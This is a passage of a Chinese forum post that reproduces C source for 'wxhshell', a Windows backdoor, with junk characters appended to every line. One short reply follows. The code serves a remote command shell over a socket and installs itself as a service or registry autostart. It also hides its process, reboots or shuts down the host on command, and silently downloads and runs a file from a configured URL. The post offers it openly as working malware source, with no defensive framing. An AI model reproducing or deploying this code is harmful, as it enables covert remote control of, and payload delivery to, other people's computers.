  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +xoyKP!  
  else A52LH,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [XA&&EcU  
  } N2+mN0k;  
  else { $9LGdKZ_D  
B;Q`vKY  
    switch(cmd[0]) { yoq\9* ?u^  
  YD0vfwh  
  // 帮助 yBXkN&1=%;  
  case '?': { =|j*VF2y"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (6b?ir~  
    break; !3b|*].B  
  } I{*.htt{  
  // 安装 tkm~KLWV&7  
  case 'i': { |IyM"UH  
    if(Install()) rw40<SS"Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v%69]a-T  
    else e{q p!N1!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +j)-L \  
    break; 2fHIk57jP  
    } !9ceCnwbNN  
  // 卸载 IL8'{<lM  
  case 'r': { i"2J5LLv  
    if(Uninstall()) @M1yBN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &CxyP_  
    else 2Q`PUXj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y4)ZUv,}  
    break; HlOAo:8'  
    } k=ior  
  // 显示 wxhshell 所在路径 X$j|/))  
  case 'p': { MIk #60Ab  
    char svExeFile[MAX_PATH]; |)|vG_  
    strcpy(svExeFile,"\n\r"); ^6N3 nkyZ  
      strcat(svExeFile,ExeFile); lu G023'  
        send(wsh,svExeFile,strlen(svExeFile),0); ur~Tql  
    break; FEm1^X#]  
    } >h/)r6  
  // 重启 flm,r<*}  
  case 'b': { ZPxOds1m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OW[/%U>  
    if(Boot(REBOOT)) 0s+rd&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8`rAE_n`%  
    else { ino7!T`  
    closesocket(wsh); 5sA>O2Rt>  
    ExitThread(0); {3F}Slb  
    } Muc*?wB`  
    break; V;[ __w  
    } mTb2d?NS  
  // 关机 w'5dk3$"  
  case 'd': { CwH)6uA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O)=73e\  
    if(Boot(SHUTDOWN)) |~=?vw< W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zn?a|kt  
    else { '%eaK_+7  
    closesocket(wsh); ^}Dv$\;6  
    ExitThread(0); 4/mj"PBKL  
    } f4aD0.K.g|  
    break; /%}YuN  
    } Xx9~  
  // 获取shell =E6i1x%j  
  case 's': { yo Q?lh  
    CmdShell(wsh); wZ\e3H z  
    closesocket(wsh); n_!]B_Vd$  
    ExitThread(0); ([4{n  
    break; _6QLnr&@j  
  } J4K|KS7   
  // 退出 Is*0?9qU  
  case 'x': { ;03*qOYc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]mJAKycE%  
    CloseIt(wsh); W&~iO   
    break; u=ds]XP@  
    } +~pc% 3*  
  // 离开 !!D:V`F/d  
  case 'q': { ytBxe]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yrK--C8  
    closesocket(wsh); t KqCy\-q  
    WSACleanup(); Ig?.*j ]  
    exit(1); NdED8 iRc  
    break; s_Ge22BZ  
        } 1+PNy d  
  } gp|7{}Q{  
  } 'k(~XA}X:  
Q+%m+ /Zq  
  // 提示信息 ~1wdAq`'a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >FMT#x t  
} TF}4X;3Dsy  
  } \ /X!tlwxh  
WHD/s  
  return; w]+BBGYQKb  
} ?` ZGM  
ZC\.};.  
// shell模块句柄  "ppb%=  
int CmdShell(SOCKET sock) o4I!VK(C#s  
{ fb=$<0Ocj  
STARTUPINFO si; PB3!;  
ZeroMemory(&si,sizeof(si)); VkP:%-*#v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X m:gD6;9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Iy1X nS*  
PROCESS_INFORMATION ProcessInfo; C_khd"  
char cmdline[]="cmd"; !^"!fuoNC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]@<3 6ByM  
  return 0; |Nx!g fU  
} K&a]pL6D  
{]_{BcK+  
// 自身启动模式 cI4qgV  
int StartFromService(void) Z=/L6Zb  
{ &fNE9peQFa  
typedef struct lt(-,md  
{ kk\zZC <  
  DWORD ExitStatus; 9Nbg@5(  
  DWORD PebBaseAddress; TAXkfj  
  DWORD AffinityMask; Vwh&^{Eh  
  DWORD BasePriority; qu~"C,   
  ULONG UniqueProcessId; LXEu^F~{u#  
  ULONG InheritedFromUniqueProcessId; $v}8lBCr3  
}   PROCESS_BASIC_INFORMATION; 4;~lpty  
L4A/7Ep  
PROCNTQSIP NtQueryInformationProcess; +q, n}@y=  
/dvnQW4}8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &+r ;>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `GN5QLg#}0  
:>-sITeY  
  HANDLE             hProcess; !m O] zn  
  PROCESS_BASIC_INFORMATION pbi; )+{omQ7v  
KL\=:iWA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $=g.-F% *=  
  if(NULL == hInst ) return 0; rxK[CDM,  
'  ^L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hw.demD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hs#s $})}Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0~L 8yMM  
U!UX"r  
  if (!NtQueryInformationProcess) return 0; xp;8p94   
w#bbm'j7r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .1q~,}toX  
  if(!hProcess) return 0; 3/|{>7]1  
DBrzw+;e3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &l}xBQAL  
T7Qd I[K%b  
  CloseHandle(hProcess); X%\6V;zR#  
N*)8L[7_;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \]:NOmI^'  
if(hProcess==NULL) return 0; ghd[G}  
hD.wKX?oO  
HMODULE hMod; ?j$8Uy$$  
char procName[255]; (IQ L`3f%  
unsigned long cbNeeded; XK9*,WA9r  
R\=\6("  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R#^pNJN  
RuEnr7gi  
  CloseHandle(hProcess); *wZV*)}  
-EIMh^  
if(strstr(procName,"services")) return 1; // 以服务启动 hnL gsz  
7}7C0mV3  
  return 0; // 注册表启动 BCDf9]X  
} -#z'A  
vh3iu +  
// 主模块 <yaw9k+P  
int StartWxhshell(LPSTR lpCmdLine) IG@&l0ARL  
{ k.f:nv5JO  
  SOCKET wsl; iP\&fZY_  
BOOL val=TRUE; I8wVvs;k  
  int port=0; "YU~QOGx@  
  struct sockaddr_in door; ^9~%=k=  
@9P9U`ZP  
  if(wscfg.ws_autoins) Install(); )s[S.`S Tz  
] Lft^,7  
port=atoi(lpCmdLine); y/*Tvb #TJ  
ED_5V@  
if(port<=0) port=wscfg.ws_port; T7nX8{l[RG  
u\Q**m2XP  
  WSADATA data; v8(u9V%?6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DMpd(ws  
C^v -&*v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _; RD-kv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N28?JQha  
  door.sin_family = AF_INET; `D4'`Or-U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mP+yjRw  
  door.sin_port = htons(port); on&=%tCAL  
*wyLX9{:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6? ly. h$  
closesocket(wsl); #EK8Qe_  
return 1; ]*Ki7h |B  
} 1M FpuPJk  
| (9FV^_  
  if(listen(wsl,2) == INVALID_SOCKET) { 6HQwL\r79  
closesocket(wsl); i_^NbC   
return 1; I`>%2mP[C  
} D??/=`|8  
  Wxhshell(wsl); RLX^'g+P  
  WSACleanup(); ;XuE Mq,Di  
#u(,#(P'#  
return 0; AdW7 vn  
X.5LB!I)  
} |W];v@b\y  
eV}Tx;1|}  
// 以NT服务方式启动 LMj'?SuH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nECf2>Yp v  
{ N2Hb19/k  
DWORD   status = 0; t O;W?g  
  DWORD   specificError = 0xfffffff; o fv 1G=P  
PX/0  jv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?2>v5p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .Sw'Bo!Ee  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H5t`E^E  
  serviceStatus.dwWin32ExitCode     = 0; @x ]^blq  
  serviceStatus.dwServiceSpecificExitCode = 0; zhL,BTH  
  serviceStatus.dwCheckPoint       = 0; ?E@[~qq_  
  serviceStatus.dwWaitHint       = 0; 6;V 1PK>9  
&h[}5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p[:%Ck"$7  
  if (hServiceStatusHandle==0) return; ^Pp FI  
k= 1+mG  
status = GetLastError(); Jtk(yp{Zz  
  if (status!=NO_ERROR) [p<[83' ]  
{ ~]+  jn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N'.+ezZ;h  
    serviceStatus.dwCheckPoint       = 0; |:BYOxAYZ8  
    serviceStatus.dwWaitHint       = 0; j"8N)la  
    serviceStatus.dwWin32ExitCode     = status; izo $0  
    serviceStatus.dwServiceSpecificExitCode = specificError; jo#F&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9F!&y-  
    return; ~[6|VpGc:  
  } !qv;F?2 <g  
k]YGD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W}3vY]  
  serviceStatus.dwCheckPoint       = 0; c17==S  
  serviceStatus.dwWaitHint       = 0; )uWNN"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3f8Z ?[Bb@  
} d69VgLg  
i|'t!3I^m  
// 处理NT服务事件,比如:启动、停止 Wb xksh:)Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ``Rb-.Fq,  
{ y$NG..S  
switch(fdwControl) _.LWc^Sg  
{ x*)O<K  
case SERVICE_CONTROL_STOP: @U5>w\  
  serviceStatus.dwWin32ExitCode = 0; Dw,f~D$+ic  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k JFHUR  
  serviceStatus.dwCheckPoint   = 0; E+ 20->  
  serviceStatus.dwWaitHint     = 0; rNp#5[e  
  { BT0hx!Ti  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gjr2]t;E  
  } 2 wvDC@  
  return; (P8oXb+%  
case SERVICE_CONTROL_PAUSE: &i RX-)^u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r U5'hK  
  break; \ } f*   
case SERVICE_CONTROL_CONTINUE: xc?<:h"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rfpxE>_|G  
  break; E 3.s8}}  
case SERVICE_CONTROL_INTERROGATE: [N)M]u  
  break; =Y[Ae7e  
}; LcF3P 4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :LG%8Z{R  
} !CKUkoX  
h65j,v6B  
// 标准应用程序主函数 rg.if"o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pXa? Q@ 6  
{ N3) v,S-  
~G:7*:[b  
// 获取操作系统版本 cw{[B%vw  
OsIsNt=GetOsVer(); "-%H</  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v^'~-^s  
iSHl_/I<  
  // 从命令行安装 nrBitu,  
  if(strpbrk(lpCmdLine,"iI")) Install(); <X*8Xzmv  
:DJ@HY  
  // 下载执行文件 w4a7c  
if(wscfg.ws_downexe) { 5;Xrf=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;"z>p25=T  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?f&I"\y  
} :~Y$\Ww(~  
R3A^VE;qP  
if(!OsIsNt) { 5{Wl(jwb  
// 如果时win9x,隐藏进程并且设置为注册表启动 RkzBn  
HideProc(); T:$_1I $  
StartWxhshell(lpCmdLine); bk]|C!7$  
} G]CY3xw98  
else H;1}Nvvd  
  if(StartFromService()) ;\N*iN#K  
  // 以服务方式启动 $EF@x}h:A  
  StartServiceCtrlDispatcher(DispatchTable); !4:,,!T  
else oDa{HP\O]W  
  // 普通方式启动 TZg7BLfy  
  StartWxhshell(lpCmdLine); _!7o   
~l~g0J  
return 0; ): 6d_g{2  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五